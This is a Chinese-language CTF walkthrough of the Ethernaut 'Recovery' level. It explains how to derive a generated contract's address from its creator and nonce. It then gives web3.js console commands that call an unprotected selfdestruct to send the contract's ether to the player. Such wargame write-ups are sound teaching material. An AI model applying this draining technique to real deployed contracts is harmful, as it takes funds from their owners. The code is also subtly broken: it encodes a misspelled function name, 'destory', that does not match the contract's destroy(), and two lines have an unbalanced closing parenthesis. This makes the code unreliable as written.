(https://ethernaut.openzeppelin.com/level/0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2)
題目分析
這一關的題目一開始有點看不懂,看所提供的合約會發現Recovery合約裡面有一個function會去產生一個SimpleToken合約,題目是有人給了SimpleToken合約ether,希望能拿回來。但是因為SimpleToken合約是產生的,我們一開始並不知道此合約的address,另外,SimpleToken合約中也沒有將 ether轉給某人的function。(注意: SimpleToken中的transfer function並不能將ether轉出去給某錢包,而只是記錄在SimpleToken中的balance變數而已!)
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public
{
name = _name;
balances[_creator] = _initialSupply;
}
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
知識點
這一題需要許多的知識點才能解,整理如下:
- ethernum合約address的規則: 首先我們必須要找到SimpleToken的合約address,這邊我們需要知道ethernum合約address產生的規則,它是有rule的!,跟據Etherem yellow paper,產生合約address的規則如下:
將上述的公式轉成javascript web3.js的程式會如下:
// Rightmost 160 bits means rightmost 160 / 4 = 40 hexadecimals characters
// RLP encode為 ethernum的編碼方式,有興趣可以參考這篇
。
contractAddress = '0x' + web3.utils.sha3(RLP.encode([creatorAddress, nonce])).slice(-40))
以我們這題的情況,creatorAddress會是Recovery 合約的instance address,而nonce則是0x01(我們處理的SimpleToken是Recovery第 1 個產生的合約)。
- selfdestruct() : 此 ethurnum 內建函數會將合約刪除,同時帶一個address參數,當合約被刪除時,會將剩餘的Ether轉到此address,因此這一題我們需要呼叫funtion destroy,並將_to 設為player(我們自己的錢包位址)
- web3.eth.sendTransaction():要呼叫上述SimpleToken合約的destory() 函數,我們會用到web3.js中的sendTransaction()函數,此函數最主要將Ether進行移轉,也可以進行函數的呼叫,因為此函數主要的功能即是向以太坊提交一個交易,呼叫為web3.eth.sendTransaction(transactionObject [, callback]),其中callback當然為處理完成後的callback處理函數,可以自己根據需求寫,而transactionObject為其輸入參數,包含以下參數:
- from – String|Number: 交易發起方的地址,default為 web3.eth.defaultAccount。(若輸入為number則是web3.eth.accounts.wallet中的索引序號)
- to – String: 可選,目標地址,對於合約創建交易該字段為null。
- value – Number|String|BN|BigNumber: 可選,該交易的”金錢”量,單位: wei。
- gas – Number: 可選,用于交易的gas量,未用完的gas會退還。
- gasPrice – Number|String|BN|BigNumber: 可選,該交易的gas價格,單位:wei,Default為web3.eth.gasPrice屬性值。
- data – String: 可選,可以是包含合約方法的的ABI字符串,或者是合约創建交易中的初始化代碼。
- nonce – Number: 可選,使用該字段覆蓋使用相同nonce值的交易。
- web3.eth.abi.encodeFunctionCall(): 我們要使用上述的sendTransaction來呼叫destory()函數,其data值必須經由encodeFunctionCall來encode destory函數,直接上程式比較容易:
data = web3.eth.abi.encodeFunctionCall({name:'destory',type:'function',inputs:[{type:'address',name:'_to'}]},[player])
上述所有的知識點總合起來可以幫助我們過這一關,這一關不需要另外寫solidity合約,只需要在console輸入以下:
creatorAddress = instance;
nonce = '0x01';
lossContractAddress = '0x' + web3.utils.soliditysha3("0xd6","0x94",creatorAddress,nonce).slice(-40));//0xd6,0x94為進行RLP encode
const data = web3.eth.abi.encodeFunctionCall({name:'destory',type:'function',inputs:[{type:'address',name:'_to'}]},[player])
await web3.eth.sendTransaction({ from:player, to:lossContractAddress,data:data});
完成,過關。這關主要提醒合約位址不該視為機密的資訊,因為以太坊對於創建合約位址是有規則可循的。